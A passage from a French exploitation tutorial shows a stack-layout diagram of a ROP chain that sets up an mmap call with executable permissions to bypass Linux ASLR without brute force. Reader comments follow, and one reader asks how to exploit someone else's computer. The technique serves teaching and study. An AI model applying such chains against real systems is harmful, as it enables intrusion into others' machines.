| << Bruteforce ASLR | Bypasser ASLR sans bruteforce >> |
| +++++++++++++++++ | esp_init |
| @edx += 32 | |
| +++++++++++++++++ | esp_init+4 |
| DUMMY | |
| +++++++++++++++++ | esp_init+8 |
| DUMMY | |
| +++++++++++++++++ | esp_init+12 |
| @next | |
| +++++++++++++++++ | esp_init+16 |
| +++++++++++++++++ | |
| @ebx = esp + 3 pop | |
| +++++++++++++++++ | 0 = base |
| DUMMY | |
| +++++++++++++++++ | 4 |
| DUMMY | |
| +++++++++++++++++ | 8 |
| DUMMY | |
| +++++++++++++++++ | 12 |
| @xchg eax, ebx | |
| +++++++++++++++++ | 16 |
| @edx=eax | |
| +++++++++++++++++ | 20 |
| @xor eax, eax | |
| +++++++++++++++++ | 24 |
| @inc eax | |
| +++++++++++++++++ | 28 |
| @ecx = eax | |
| +++++++++++++++++ | 32 |
| @edx += 32 + 2 pop | (edx = base + 32) |
| +++++++++++++++++ | 36 |
| DUMMY | |
| +++++++++++++++++ | 40 |
| DUMMY | |
| +++++++++++++++++ | 44 |
| @inc eax | |
| +++++++++++++++++ | 48 |
| [...] | |
| +++++++++++++++++ | 332 |
| @edx += 32 + 2 pop | (edx = base + 512) |
| +++++++++++++++++ | 336 |
| DUMMY | |
| +++++++++++++++++ | 340 |
| DUMMY | |
| +++++++++++++++++ | X = 344 |
| eax = edx | |
| +++++++++++++++++ | X+4 |
| xchg eax, ebp | // ebp = arg6 |
| +++++++++++++++++ | X+8 |
| xor eax, eax | |
| +++++++++++++++++ | X+12 |
| ecx = eax | |
| +++++++++++++++++ | X+16 |
| *edx = ecx | // arg6 = 0 |
| +++++++++++++++++ | X+20 |
| eax = edx | |
| +++++++++++++++++ | X+24 |
| dec eax | |
| +++++++++++++++++ | X+28 |
| dec eax | |
| +++++++++++++++++ | X+32 |
| dec eax | |
| +++++++++++++++++ | X+36 |
| dec eax | |
| +++++++++++++++++ | X+40 |
| dec eax | |
| +++++++++++++++++ | X+44 |
| dec eax | |
| +++++++++++++++++ | X+48 |
| dec eax | |
| +++++++++++++++++ | X+52 |
| dec eax | |
| +++++++++++++++++ | X+56 |
| edx = eax | // *edx = arg4 |
| +++++++++++++++++ | X+60 |
| xor eax, eax | |
| +++++++++++++++++ | X+64 |
| al |= 36 | |
| +++++++++++++++++ | X+68 |
| dec eax | |
| +++++++++++++++++ | X+72 |
| dec eax | |
| +++++++++++++++++ | X+76 |
| ecx = eax | // ecx = 34 = 0x22 |
| +++++++++++++++++ | X+80 |
| *edx = ecx | |
| +++++++++++++++++ | X+84 |
| eax = edx | |
| +++++++++++++++++ | X+88 |
| dec eax | |
| +++++++++++++++++ | X+92 |
| dec eax | |
| +++++++++++++++++ | X+96 |
| dec eax | |
| +++++++++++++++++ | X+100 |
| dec eax | |
| +++++++++++++++++ | X+104 |
| edx = eax | |
| +++++++++++++++++ | X+108 |
| xor eax, eax | |
| +++++++++++++++++ | X+112 |
| add al, 83 | |
| +++++++++++++++++ | X+116 |
| and al, 4 | |
| +++++++++++++++++ | X+120 |
| inc eax | |
| +++++++++++++++++ | X+124 |
| inc eax | |
| +++++++++++++++++ | X+128 |
| inc eax | |
| +++++++++++++++++ | X+132 |
| ecx = eax | // ecx = 0x7 |
| +++++++++++++++++ | X+136 |
| *edx = ecx | |
| +++++++++++++++++ | X+140 |
| @mmap | |
| +++++++++++++++++ | X+144 |
| @leave/ret | |
| +++++++++++++++++ | X+148 |
| 0xa0011001 | |
| +++++++++++++++++ | X+152 |
| 0x01010101 | |
| +++++++++++++++++ | X+156 |
| Arg3 mmap | |
| +++++++++++++++++ | X+160 |
| Arg4 mmap | |
| +++++++++++++++++ | X+164 |
| 0xffffffff | |
| +++++++++++++++++ | X+168 |
| Arg6 mmap | |
| +++++++++++++++++ | |
| @next | |
| +++++++++++++++++ |
| << Bruteforce ASLR | Bypasser ASLR sans bruteforce >> |
| FrizN | 26/10/10 07:59 |
| Oui, cet article traite exclusivement de la randomization de l'espace mémoire sous Linux et de l'utilisation de la libc lnux pour le contourner, il ne s'applique donc pas à un environnement Windows. Je manque vraiment de temps en ce moment, mais mon prochain chantier est clairement de montrer une exploitation avancée sous Windows qui couvre ASLR/cookies/SEH. |
|
| mael | 25/10/10 16:29 |
| Heu je n'ai pas tout compris mais je vais perséverer, par contre j'aimerais savoir comment savoir ce qu'il y a dans son ordi et commment l'exploiter, fin sous Windows c'est un peu dure en fait même d'appliquer ces codes... en tout cas super ce que tu fais :) |
|
| FrizN | 03/05/10 15:33 |
| Merci bien :] |
|
| Anonyme | 03/05/10 14:41 |
| Franchement, bravo pour cet article ! C'est un peu difficile à suivre parfois (comme l'incrémentation d'edx), mais j'étais tout simplement heureux quand je l'ai fait marcher :) |
|